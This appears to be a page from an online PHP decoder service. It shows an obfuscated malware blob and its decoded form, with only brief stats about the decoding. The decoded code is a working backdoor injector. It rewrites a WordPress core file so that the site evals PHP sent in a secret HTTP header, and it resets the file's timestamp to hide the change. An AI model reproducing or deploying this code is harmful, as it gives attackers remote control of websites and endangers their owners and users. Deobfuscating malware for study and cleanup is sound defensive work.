Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("jVJrb5swFP2eX8GkSCRqNfFoUkXTtC1paEMetIQCyTRFYDsJqbEpNnlQ9b/P..

Decoded Output download


phpConfValidate('YTo0OntpOjA7czo3NjoiL3Zhci93d3cvdmhvc3RzL3dlYjI3OS5sb2dpbi02LmxvZ2luc2VydmVyLmNoL3dvcmRwcmVzcy93cC1pbmNsdWRlcy9sMTBuLnBocCI7aToxO3M6OTg6In5ldmFsW15cKFxuXHJdKlwoW15cJF0qXCRfW0EtWl17Nn1bXlxbXSpcW1teXCdcIl0qW1wnXCJdSFRUUF9GNDBEOThDW1wnXCJdW15cXV0qXF1bXlwpXSpcKVteO10qO35zIjtpOjI7czozMjoiQGV2YWwoJF9TRVJWRVJbJ0hUVFBfRjQwRDk4QyddKTsiO2k6MztzOjM0OiJ+XlxzKmZ1bmN0aW9uXHMrZGV0ZXJtaW5lX2xvY2FsZX5tIjt9');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (preg_match($systemEnv, $source)) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    
    $incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);
    $newSource = preg_replace($incorrectRegex, '', $source);
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
    
    
    if (!preg_match($systemEnv, $newSource)) {
        return;
    }
    
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode("jVJrb5swFP2eX8GkSCRqNfFoUkXTtC1paEMetIQCyTRFYDsJqbEpNnlQ9b/P5N2HtCGBr/E95557rkvJPGlRMnUDHMGAo4o8cqhiEZ5Yi1/XIKf6YEGjnj6eg6ihQx0sYTxfAt3OezrEo0VHt4Y1FmowCSNF68Xr5VjDGdDcDYzdTS8eUJG3BLG9ArGbg01DBy01CeMBg56NxZ71nWbWI00KWp3rwKFrS+/XLWdW75AahrHBPLUGusY68+9M2MUrWuxNQ3n2W/bUU9rcw+r1gKihj9ehP0yAp3LktyDoYOXZU1fEb5lwaNiPj0bjdnDTbFvO/Obwv+DyXcFlFPhVUuC7LkeWqjxbei3vLAofOoUPeV/48HDraiNvRU2j4diu6Yk3NJX5o2s0p/biYWXfPF09bCDsOiyytKd6P+e5tegrVmReCH15Nx6roncl8Bqin346vnWVsW/ywKthX1svR5rBxn6Ni7oNufqtNM0I4BEl0vsplRlKq9JLqSSJB0eMS5XyNMP4PuDzS6nMNoyjuE2WIgYUIrEkAecoJVXpu5QRgY4EVY4qYcBQ/WoCUZG2oxV1C9Yyo1kKkMifRhhNZohPACUcEc5Otfa50VSqJCmaTeKAg3nlTf0dTbVQK+2fFPEsJTvo65HgyznDXu4RL4LtCWL/YNppjwigaYoAt9EMrUUPjKeTFCU4AOKKI1n6KsnLYLtg+VKSf/4I0nS7DTbyuYEHMwhaDQ9+bHUeyN6VElzyqelPwOdCDi39Vv7sByUU3N/dT9pWT0Rvj48ke9bT54N55/afYP/jWzHqmEfxYezb+Gzc0oWkKjtYRnBEnj5che1lSbLPLssnTXCaFYLPMo5VRcZr6S8=")));

Function Calls

gzinflate 1
base64_decode 1
phpConfValidate 1

Variables

None

Stats

MD5 d33949751af913dd7fb4bc97e7ac66fa
Eval Count 1
Decode Time 33 ms